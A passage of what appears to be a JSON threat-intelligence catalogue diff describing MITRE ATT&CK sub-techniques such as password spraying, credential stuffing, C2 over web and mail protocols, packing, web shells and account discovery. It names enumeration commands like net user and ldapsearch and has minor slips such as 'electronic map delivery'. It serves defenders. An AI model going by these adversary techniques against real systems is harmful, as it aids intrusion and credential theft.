trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.", + "meta": { + "external_id": "T1110.003", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Office 365 account logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1110/003", + "http://www.blackhillsinfosec.com/?p=4645", + "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing" + ] + }, + "related": [ + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "type": "subtechnique-of" + } + ], + "uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", + "value": "Password Spraying - T1110.003" + }, + { + "description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)", + "meta": { + "external_id": "T1110.004", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Office 365 account logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1110/004", + "https://www.us-cert.gov/ncas/alerts/TA18-086A" + ] + }, + "related": [ + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "type": "subtechnique-of" + } + ], + "uuid": "b2d03cea-aec1-45ca-9744-9ee583c1e1cc", + "value": "Credential Stuffing - T1110.004" + }, + { + "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "meta": { + "external_id": "T1071.001", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Process monitoring", + "Process use of network", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1071/001", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "type": "subtechnique-of" + } + ], + "uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "value": "Web Protocols - T1071.001" + }, + { + "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", + "meta": { + "external_id": "T1102.002", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1102/002", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "type": "subtechnique-of" + } + ], + "uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "value": "Bidirectional Communication - T1102.002" + }, + { + "description": "An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).", + "meta": { + "external_id": "T1204.001", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Anti-virus", + "Process monitoring", + "Web proxy" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1204/001" + ] + }, + "related": [ + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "type": "subtechnique-of" + } + ], + "uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "value": "Malicious Link - T1204.001" + }, + { + "description": "Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", + "meta": { + "external_id": "T1205.001", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence", + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1205/001", + "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631" + ] + }, + "related": [ + { + "dest-uuid": "451a9977-d255-43c9-b431-66de80130c8c", + "type": "subtechnique-of" + } + ], + "uuid": "8868cb5b-d575-4a60-acb2-07d37389a2fd", + "value": "Port Knocking - T1205.001" + }, + { + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ", + "meta": { + "external_id": "CAPEC-572", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "Binary file metadata", + "File monitoring", + "Malware reverse engineering" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1027/001", + "https://capec.mitre.org/data/definitions/572.html", + "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", + "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/", + "https://www.virustotal.com/en/faq/ " + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "type": "subtechnique-of" + } + ], + "uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "value": "Binary Padding - T1027.001" + }, + { + "description": "Adversaries may communicate using application layer protocols associated with electronic map delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", + "meta": { + "external_id": "T1071.003", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Process monitoring", + "Process use of network", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1071/003", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "type": "subtechnique-of" + } + ], + "uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "value": "Mail Protocols - T1071.003" + }, + { + "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", + "meta": { + "external_id": "T1480.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1480/001", + "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf", + "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices", + "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/", + "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf", + "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js" + ] + }, + "related": [ + { + "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852", + "type": "subtechnique-of" + } + ], + "uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", + "value": "Environmental Keying - T1480.001" + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n\nCommands such as net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.", + "meta": { + "external_id": "T1069.001", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1069/001" + ] + }, + "related": [ + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "type": "subtechnique-of" + } + ], + "uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", + "value": "Local Groups - T1069.001" + }, + { + "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems or default factory/provider set accounts on other types of systems, software, or devices.(Citation: Microsoft Local Accounts Feb 2019)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)", + "meta": { + "external_id": "T1078.001", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "AWS CloudTrail logs", + "Stackdriver logs", + "Authentication logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1078/001", + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts", + "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh" + ] + }, + "related": [ + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "type": "subtechnique-of" + } + ], + "uuid": "6151cbea-819b-455a-9fa6-99a1cc58797d", + "value": "Default Accounts - T1078.001" + }, + { + "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file.", + "meta": { + "external_id": "T1087.001", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1087/001" + ] + }, + "related": [ + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "type": "subtechnique-of" + } + ], + "uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "value": "Local Account - T1087.001" + }, + { + "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) on the file to increase the likelihood that a user will open it.\n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", + "meta": { + "external_id": "T1204.002", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Anti-virus", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1204/002" + ] + }, + "related": [ + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "type": "subtechnique-of" + } + ], + "uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "value": "Malicious File - T1204.002" + }, + { + "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ", + "meta": { + "external_id": "CAPEC-570", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata" + ], + "mitre_platforms": [ + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1027/002", + "https://capec.mitre.org/data/definitions/570.html", + "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", + "http://en.wikipedia.org/wiki/Executable_compression" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "type": "subtechnique-of" + } + ], + "uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "value": "Software Packing - T1027.002" + }, + { + "description": "Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails.(Citation: Microsoft TransportAgent Jun 2016)(Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks. \n\nAdversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events.(Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary. ", + "meta": { + "external_id": "T1505.002", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Application logs", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1505/002", + "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help", + "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + ] + }, + "related": [ + { + "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", + "type": "subtechnique-of" + } + ], + "uuid": "35187df2-31ed-43b6-a1f5-2f1d3d58d3f1", + "value": "Transport Agent - T1505.002" + }, + { + "description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.", + "meta": { + "external_id": "T1069.002", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1069/002" + ] + }, + "related": [ + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "type": "subtechnique-of" + } + ], + "uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", + "value": "Domain Groups - T1069.002" + }, + { + "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", + "meta": { + "external_id": "T1078.002", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1078/002", + "https://technet.microsoft.com/en-us/library/dn535501.aspx", + "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts", + "https://technet.microsoft.com/en-us/library/dn487457.aspx" + ] + }, + "related": [ + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "type": "subtechnique-of" + } + ], + "uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "value": "Domain Accounts - T1078.002" + }, + { + "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.", + "meta": { + "external_id": "CAPEC-575", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1087/002", + "https://capec.mitre.org/data/definitions/575.html" + ] + }, + "related": [ + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "type": "subtechnique-of" + } + ], + "uuid": "21875073-b0ee-49e3-9077-1e2a885359af", + "value": "Domain Account - T1087.002" + }, + { + "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.\n\nThe deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).", + "meta": { + "external_id": "T1053.005", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1053/005", + "https://twitter.com/leoloobeek/status/939248813465853953", + "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", + "https://technet.microsoft.com/library/dd315590.aspx", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "type": "subtechnique-of" + } + ], + "uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "value": "Scheduled Task - T1053.005" + }, + { + "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ", + "meta": { + "external_id": "T1505.003", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Netflow/Enclave netflow", + "File monitoring", + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1505/003", + "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", + "https://www.us-cert.gov/ncas/alerts/TA15-314A" + ] + }, + "related": [ + { + "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", + "type": "subtechnique-of" + } + ], + "uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "value": "Web Shell - T1505.003" + }, + { + "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items. (Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", + "meta": { + "external_id": "T1037.005", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1037/005", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ] + }, + "related": [ + { + "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "type": "subtechnique-of" + } + ], + "uuid": "c0dfe7b0-b873-4618-9ff8-53e31f70907f", + "value": "Startup Items - T1037.005" + }, + { + "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)\n\nAzure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command az ad user get-member-groups will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)", + "meta": { + "external_id": "T1069.003", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Azure activity logs", + "Office 365 account logs", + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Office 365", + "Azure AD" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1069/003", + "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0", + "https://github.com/True-Demon/raindance", + "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", + "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + ] + }, + "related": [ + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "type": "subtechnique-of" + } + ], + "uuid": "16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", + "value": "Cloud Groups - T1069.003" + }, + { + "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, theGet-GlobalAddressList PowerShell cmdlet can be used to 